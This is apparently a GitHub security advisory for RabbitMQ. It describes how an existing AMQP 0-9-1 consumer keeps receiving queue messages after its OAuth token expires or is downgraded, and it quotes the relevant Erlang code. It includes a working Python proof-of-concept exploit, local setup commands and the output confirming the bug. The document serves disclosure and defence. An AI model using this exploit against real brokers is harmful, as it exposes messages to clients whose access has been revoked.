Описание
AMQP 0-9-1 in combination with OAuth 2: consumer persistence can lead to post-revocation message disclosure
Summary
RabbitMQ AMQP 0-9-1 allows a pre-existing consumer to keep receiving messages after OAuth token expiry and after connection.update_secret refresh to reduced scopes due to missing delivery-time reauthorization for already-registered consumers. The connection.update_secret path updates the user state on channels, but the channel-side handler only assigns the new user object and does not cancel or recheck existing consumers. Message delivery then proceeds through the normal basic.deliver path without a fresh authorization callback per delivery for that existing consumer. In the executed PoC, a new consumer after downgrade was denied with 403 ACCESS_REFUSED, while the old consumer on the same connection still received new messages. This demonstrates a real authorization-lifecycle gap limited to already-established AMQP 0-9-1 consumer flows.
Impact
A client that once had read access can continue receiving future queue messages on an already-established AMQP 0-9-1 consumer after its token has expired or been downgraded.
Description
The vulnerable flow starts when AMQP 0-9-1 accepts connection.update_secret and asynchronously pushes updated user state to all channels.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_reader.erl#L1331-L1356
handle_method0(#'connection.update_secret'{new_secret = NewSecret, reason = Reason},
State = #v1{connection =
#connection{user = User = #user{username = Username},
log_name = ConnName} = Conn,
sock = Sock}) when ?IS_RUNNING(State) ->
?LOG_DEBUG(
"connection ~ts of user '~ts': "
"asked to update secret, reason: ~ts",
[dynamic_connection_name(ConnName), Username, Reason]),
case rabbit_access_control:update_state(User, NewSecret) of
{ok, User1} ->
%% User/auth backend state has been updated. Now we can propagate it to channels
%% asynchronously and return. All the channels have to do is to update their
%% own state.
%%
%% Any secret update errors coming from the authz backend will be handled in the other branch.
%% Therefore we optimistically do no error handling here. MK.
lists:foreach(fun(Ch) ->
?LOG_DEBUG("Updating user/auth backend state for channel ~tp", [Ch]),
_ = rabbit_channel:update_user_state(Ch, User1)
end, all_channels()),
ok = send_on_channel0(Sock, #'connection.update_secret_ok'{}),
?LOG_INFO(
"connection ~ts: user '~ts' updated secret, reason: ~ts",
[dynamic_connection_name(ConnName), Username, Reason]),
State#v1{connection = Conn#connection{user = User1}};
The next step updates channel user state by assignment only, without revalidating already-established consumers.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_channel.erl#L704-L713
_ ->
ok
end,
noreply(init_tick_timer(reset_tick_timer(State0)));
handle_info({update_user_state, User}, State = #ch{cfg = Cfg}) ->
noreply(State#ch{cfg = Cfg#conf{user = User}}).
handle_pre_hibernate(State0) ->
ok = clear_permission_cache(),
After that, deliveries continue through handle_deliver0/4 without a per-delivery authorization check in this code path.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_channel.erl#L2569-L2588
handle_deliver0(ConsumerTag, AckRequired,
{QName, QPid, _MsgId, Redelivered, Mc} = Msg,
State = #ch{cfg = #conf{writer_pid = WriterPid,
writer_gc_threshold = GCThreshold,
msg_interceptor_ctx = MsgIcptCtx},
next_tag = DeliveryTag,
queue_states = Qs}) ->
Exchange = mc:exchange(Mc),
[RoutingKey | _] = mc:routing_keys(Mc),
Content = outgoing_content(Mc, MsgIcptCtx),
Deliver = #'basic.deliver'{consumer_tag = ConsumerTag,
delivery_tag = DeliveryTag,
redelivered = Redelivered,
exchange = Exchange,
routing_key = RoutingKey},
{ok, QueueType} = rabbit_queue_type:module(QName, Qs),
case QueueType of
rabbit_classic_queue ->
ok = rabbit_writer:send_command_and_notify(
WriterPid, QPid, self(), Deliver, Content);
For contrast, AMQP 1.0 in the same codebase explicitly rechecks authz on refresh and closes unauthorized sessions.
https://github.com/rabbitmq/rabbitmq-server/blob/83866edcc995602f546f3c4147078b3a610b0075/deps/rabbit/src/rabbit_amqp_session.erl#L635-L646
handle_cast({reset_authz, User}, #state{cfg = Cfg} = State0) ->
State1 = State0#state{
permission_cache = [],
topic_permission_cache = [],
cfg = Cfg#cfg{user = User}},
try recheck_authz(State1) of
State ->
noreply(State)
catch exit:#'v1_0.error'{} = Error ->
log_error_and_close_session(Error, State1)
end;
handle_cast(shutdown, State) ->
The issue is triggered by creating a consumer while authorized, then letting token1 expire and refreshing to token2 without queue read scope; the executed run showed only new consumer creation was blocked while the pre-existing consumer still received messages.
Proof of Concept (PoC)
The finding was validated against the 83866edcc995602f546f3c4147078b3a610b0075 commit.
- Create
validation-environments/finding-675/poc_oauth_consumer.py with the exact content below.
- This helper opens one authorized consumer, waits past token expiry, performs
update_secret to a downgraded token, attempts a new consumer (expected denial), then verifies whether the old consumer still receives.
import time
import traceback
import jwt
import pika
HOST = '127.0.0.1'
PORT = 5672
VHOST = 'poc-oauth2-675'
QUEUE = 'victimq-675'
SIGN_KEY = 'tokenkey'
KID = 'token-key'
def mk_token(scopes, exp_secs):
now = int(time.time())
payload = {
'exp': now + exp_secs,
'iss': 'unit_test',
'aud': ['rabbitmq'],
'sub': 'attacker',
'scope': scopes,
}
return jwt.encode(payload, SIGN_KEY, algorithm='HS256', headers={'kid': KID})
def wait_for(messages, expected, conn, timeout=4.0):
deadline = time.time() + timeout
while time.time() < deadline:
conn.process_data_events(time_limit=0.2)
if expected in messages:
return True
return False
def main():
scope_read_q = f'rabbitmq.read:{VHOST}/{QUEUE}'
scope_write_all = f'rabbitmq.write:{VHOST}/*'
scope_read_other = 'rabbitmq.read:somewhere-else/*'
token1 = mk_token([scope_read_q, scope_write_all], exp_secs=3)
token2 = mk_token([scope_write_all, scope_read_other], exp_secs=300)
pub_conn = pika.BlockingConnection(
pika.ConnectionParameters(host=HOST, port=PORT, virtual_host=VHOST,
credentials=pika.PlainCredentials('guest', 'guest'), heartbeat=10)
)
pub_ch = pub_conn.channel()
atk_conn = pika.BlockingConnection(
pika.ConnectionParameters(host=HOST, port=PORT, virtual_host=VHOST,
credentials=pika.PlainCredentials('attacker', token1), heartbeat=10)
)
ch1 = atk_conn.channel()
ch1.queue_declare(queue=QUEUE, passive=True)
received = []
def on_msg(ch, method, props, body):
received.append(body)
tag = ch1.basic_consume(queue=QUEUE, on_message_callback=on_msg, auto_ack=True)
pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_before_expiry')
ok1 = wait_for(received, b'msg_before_expiry', atk_conn, timeout=3.0)
print(f'received_1={received[-1] if received else None!r}')
time.sleep(4)
pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_after_token1_expired')
ok2 = wait_for(received, b'msg_after_token1_expired', atk_conn, timeout=3.0)
print(f'received_2={received[-1] if received else None!r}')
atk_conn.update_secret(token2, 'token refresh downgrade')
downgrade_result = 'unexpected_success'
ch2 = atk_conn.channel()
try:
ch2.basic_consume(queue=QUEUE, on_message_callback=lambda *args: None, auto_ack=True)
downgrade_result = 'unexpected_success'
except Exception as e:
downgrade_result = repr(e)
print(f'new_consume_after_downgrade={downgrade_result}')
pub_ch.basic_publish(exchange='', routing_key=QUEUE, body=b'msg_after_downgrade')
ok3 = wait_for(received, b'msg_after_downgrade', atk_conn, timeout=3.0)
print(f'received_3={received[-1] if received else None!r}')
vulnerable = ok1 and ok2 and ok3 and ('ACCESS_REFUSED' in downgrade_result or '403' in downgrade_result)
print('VULNERABLE' if vulnerable else 'NOT_VULNERABLE')
try:
ch1.basic_cancel(tag)
except Exception:
pass
try:
ch1.close()
except Exception:
pass
try:
ch2.close()
except Exception:
pass
atk_conn.close()
pub_conn.close()
return 0 if vulnerable else 1
if __name__ == '__main__':
try:
raise SystemExit(main())
except Exception:
traceback.print_exc()
raise SystemExit(2)
PoC Steps
- Start RabbitMQ with management enabled, reachable at
127.0.0.1:5672 and 127.0.0.1:15672.
- Enable OAuth2 backend:
docker exec bbval-rabbitmq-server rabbitmq-plugins enable rabbitmq_auth_backend_oauth2
- Configure OAuth signing key and backend order:
docker exec bbval-rabbitmq-server rabbitmqctl eval '
Jwk = #{<<"alg">> => <<"HS256">>, <<"k">> => <<"dG9rZW5rZXk">>, <<"kid">> => <<"token-key">>, <<"kty">> => <<"oct">>, <<"use">> => <<"sig">>, <<"value">> => <<"token-key">>},
KeyConfig = [{signing_keys, #{<<"token-key">> => {map, Jwk}}}],
application:set_env(rabbitmq_auth_backend_oauth2, key_config, KeyConfig),
application:set_env(rabbitmq_auth_backend_oauth2, resource_server_id, <<"rabbitmq">>),
application:set_env(rabbit, auth_backends, [rabbit_auth_backend_oauth2, rabbit_auth_backend_internal]),
ok.
'
- Create PoC vhost and queue:
curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/vhosts/poc-oauth2-675 -d '{}'
curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/permissions/poc-oauth2-675/guest -d '{"configure":".*","write":".*","read":".*"}'
curl -sS -u guest:guest -H 'content-type: application/json' -X PUT http://127.0.0.1:15672/api/queues/poc-oauth2-675/victimq-675 -d '{"auto_delete":false,"durable":false,"arguments":{}}'
curl -sS -u guest:guest -X DELETE http://127.0.0.1:15672/api/queues/poc-oauth2-675/victimq-675/contents
- Prepare runtime dependencies:
python3 -m venv ./.bb-artifacts/venv675
./.bb-artifacts/venv675/bin/pip install pika PyJWT
- Run PoC and capture logs:
./.bb-artifacts/venv675/bin/python ./validation-environments/finding-675/poc_oauth_consumer.py > ./validation-environments/finding-675/poc_output.log 2>&1
echo $? > ./validation-environments/finding-675/poc_exit_code.txt
- Read results:
cat ./validation-environments/finding-675/poc_output.log
cat ./validation-environments/finding-675/poc_exit_code.txt
PoC Results
Observed runtime output from the executed PoC:
received_1=b'msg_before_expiry'
received_2=b'msg_after_token1_expired'
new_consume_after_downgrade=ChannelClosedByBroker: (403) "ACCESS_REFUSED - read access to queue 'victimq-675' in vhost 'poc-oauth2-675' refused for user 'attacker'"
received_3=b'msg_after_downgrade'
VULNERABLE
Observed exit code:
0
This shows a narrower but decisive effect: after downgrade, new consumer creation is denied, yet the already-established consumer still receives post-downgrade deliveries.
